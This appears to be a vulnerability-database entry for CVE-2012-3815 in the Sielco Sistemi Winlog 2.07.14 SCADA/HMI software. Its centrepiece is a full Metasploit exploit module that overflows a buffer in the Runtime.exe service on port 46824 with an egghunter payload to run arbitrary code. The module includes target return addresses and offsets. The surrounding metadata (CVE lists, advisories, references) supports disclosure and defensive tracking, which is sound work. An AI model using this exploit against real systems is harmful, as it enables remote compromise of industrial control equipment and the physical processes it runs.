ID

VAR-E-201206-0148


CVE

cve_id:CVE-2012-3815

Trust: 1.9

cve_id:CVE-2012-4355

Trust: 0.3

cve_id:CVE-2012-4358

Trust: 0.3

cve_id:CVE-2012-4354

Trust: 0.3

cve_id:CVE-2012-4359

Trust: 0.3

cve_id:CVE-2012-4356

Trust: 0.3

cve_id:CVE-2012-4353

Trust: 0.3

cve_id:CVE-2012-4357

Trust: 0.3

sources: BID: 54212 // BID: 53811 // EXPLOIT-DB: 19025 // EDBNET: 41273

EDB ID

19025


TITLE

Sielco Sistemi Winlog 2.07.14 - Remote Buffer Overflow (Metasploit) - Windows remote Exploit

Trust: 0.6

sources: EXPLOIT-DB: 19025

DESCRIPTION

Sielco Sistemi Winlog 2.07.14 - Remote Buffer Overflow (Metasploit). CVE-82778CVE-2012-3815CVE-82654 . remote exploit for Windows platform

Trust: 0.6

sources: EXPLOIT-DB: 19025

AFFECTED PRODUCTS

vendor:sielcomodel:sistemi winlogscope:eqversion:2.07.14

Trust: 1.0

vendor:sielcomodel:sistemi winlog proscope:eqversion:2.7.9

Trust: 0.3

vendor:sielcomodel:sistemi winlog proscope:eqversion:2.7.1

Trust: 0.3

vendor:sielcomodel:sistemi winlog proscope:eqversion:2.7

Trust: 0.3

vendor:sielcomodel:sistemi winlog litescope:eqversion:2.07.14

Trust: 0.3

sources: BID: 54212 // BID: 53811 // EXPLOIT-DB: 19025

EXPLOIT

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Egghunter

def initialize(info = {})
super(update_info(info,
'Name' => 'Sielco Sistemi Winlog Buffer Overflow 2.07.14',
'Description' => %q{
This module exploits a buffer overflow in Sielco Sistem Winlog <= 2.07.14.
When sending a specially formatted packet to the Runtime.exe service on port 46824,
an attacker may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'm-1-k-3 <m1k3[at]s3cur1ty.de>'
],
'References' =>
[
[ 'BID', '53811'],
[ 'URL', 'http://www.s3cur1ty.de' ],
[ 'URL', 'http://www.sielcosistemi.com/en/download/public/winlog_lite.html' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process',
},
'Platform' => 'win',
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00",
'DisableNops' => true,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Sielco Sistemi Winlog 2.07.14 - Ceramics Kiln Project',
{
'Ret' => 0x405153df,
'Offset' => 167,
}
], # Jmp ESP - Vclx40.bpl - 0x405153df
[ 'Sielco Sistemi Winlog 2.07.14 - Automatic Washing System Project',
{
'Ret' => 0x405153df,
'Offset' => 151,
}
], # Jmp ESP - Vclx40.bpl - 0x405153df
#The reliability depends on the actual project. We need to generate some more
#targets. Two of them for the default project and one other project is now available.
],
'Privileged' => false,
'DisclosureDate' => 'Jun 04 2012',
'DefaultTarget' => 0))

register_options([Opt::RPORT(46824)], self.class)
end

def exploit
connect

egghunter,egg = generate_egghunter(payload.encoded, payload_badchars)

print_status("Placing the shellcode")
shellcode = rand_text_alpha(2000)
shellcode << egg
sock.put(shellcode)

select(nil,nil,nil,1)

buffer = rand_text_alpha(20)
buffer << "\x14" * 10 #trigger the crash
buffer << rand_text_alpha(target['Offset'])
buffer << [target.ret].pack('V')
buffer << egghunter
buffer << rand_text_alpha(69 - egghunter.length)

print_status("Trying target #{target.name}...")
sock.put(buffer)

handler
disconnect

end
end

Trust: 1.0

sources: EXPLOIT-DB: 19025

EXPLOIT LANGUAGE

rb

Trust: 0.6

sources: EXPLOIT-DB: 19025

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 19025

TYPE

Remote Buffer Overflow (Metasploit)

Trust: 1.0

sources: EXPLOIT-DB: 19025

TAGS

tag:Metasploit Framework (MSF)

Trust: 1.0

sources: EXPLOIT-DB: 19025

CREDITS

Metasploit

Trust: 0.6

sources: EXPLOIT-DB: 19025

EXTERNAL IDS

db:NVDid:CVE-2012-3815

Trust: 1.9

db:EXPLOIT-DBid:19025

Trust: 1.6

db:ICS CERTid:ICSA-12-213-01

Trust: 0.6

db:EDBNETid:41273

Trust: 0.6

db:ICS CERT ALERTid:ICS-ALERT-12-179-01

Trust: 0.3

db:NVDid:CVE-2012-4355

Trust: 0.3

db:NVDid:CVE-2012-4358

Trust: 0.3

db:NVDid:CVE-2012-4354

Trust: 0.3

db:NVDid:CVE-2012-4359

Trust: 0.3

db:NVDid:CVE-2012-4356

Trust: 0.3

db:NVDid:CVE-2012-4353

Trust: 0.3

db:NVDid:CVE-2012-4357

Trust: 0.3

db:BIDid:54212

Trust: 0.3

db:ICS CERT ALERTid:ICS-ALERT-12-166-01

Trust: 0.3

db:BIDid:53811

Trust: 0.3

sources: BID: 54212 // BID: 53811 // EXPLOIT-DB: 19025 // EDBNET: 41273

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2012-3815

Trust: 1.6

url:http://www.us-cert.gov/control_systems/pdf/icsa-12-213-01.pdf

Trust: 0.6

url:https://www.exploit-db.com/exploits/19025/

Trust: 0.6

url:http://www.us-cert.gov/control_systems/pdf/ics-alert-12-179-01.pdf

Trust: 0.3

url:http://www.sielcosistemi.com/en/products/winlog_scada_hmi/

Trust: 0.3

url:http://aluigi.altervista.org/adv/winlog_2-adv.txt

Trust: 0.3

url:http://www.sielcosistemi.com/en/download/public/winlog_lite.html

Trust: 0.3

url:http://www.us-cert.gov/control_systems/pdf/ics-alert-12-166-01.pdf

Trust: 0.3

sources: BID: 54212 // BID: 53811 // EXPLOIT-DB: 19025 // EDBNET: 41273

SOURCES

db:BIDid:54212
db:BIDid:53811
db:EXPLOIT-DBid:19025
db:EDBNETid:41273

LAST UPDATE DATE

2022-07-27T09:42:59.875000+00:00


SOURCES UPDATE DATE

db:BIDid:54212date:2015-03-19T08:22:00
db:BIDid:53811date:2015-03-19T08:45:00

SOURCES RELEASE DATE

db:BIDid:54212date:2012-06-26T00:00:00
db:BIDid:53811date:2012-06-05T00:00:00
db:EXPLOIT-DBid:19025date:2012-06-08T00:00:00
db:EDBNETid:41273date:2012-06-08T00:00:00